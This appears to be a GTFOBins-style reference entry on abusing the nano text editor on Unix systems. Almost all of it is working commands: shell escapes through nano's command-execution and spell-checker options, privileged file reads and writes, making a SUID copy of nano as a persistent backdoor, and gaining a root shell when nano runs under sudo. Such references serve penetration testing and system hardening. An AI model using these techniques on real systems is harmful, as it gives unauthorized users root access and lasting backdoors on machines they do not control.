It can be used to break out from restricted environments by spawning an interactive system shell.
nano
^R^X
reset; sh 1>&0 2>&0
The SPELL
environment variable can be used in place of the -s
option if the command line cannot be changed.
TF=$(mktemp)
echo 'exec sh' > $TF
chmod +x $TF
nano -s $TF /etc/hosts
^T
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
nano file_to_write
DATA
^O
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
nano file_to_read
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p
, omit the -p
argument on systems
like Debian that allow the default sh
shell to run with SUID privileges.
The SPELL
environment variable can be used in place of the -s
option if the command line cannot be changed.
sudo sh -c 'cp $(which nano) .; chmod +s ./nano'
TF=$(mktemp)
echo 'exec sh -p' > $TF
chmod +x $TF
./nano -s $TF /etc/hosts
^T
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo
.
sudo nano
^R^X
reset; sh 1>&0 2>&0
The SPELL
environment variable can be used in place of the -s
option if the command line cannot be changed.
TF=$(mktemp)
echo 'exec sh' > $TF
chmod +x $TF
sudo nano -s $TF /etc/hosts
^T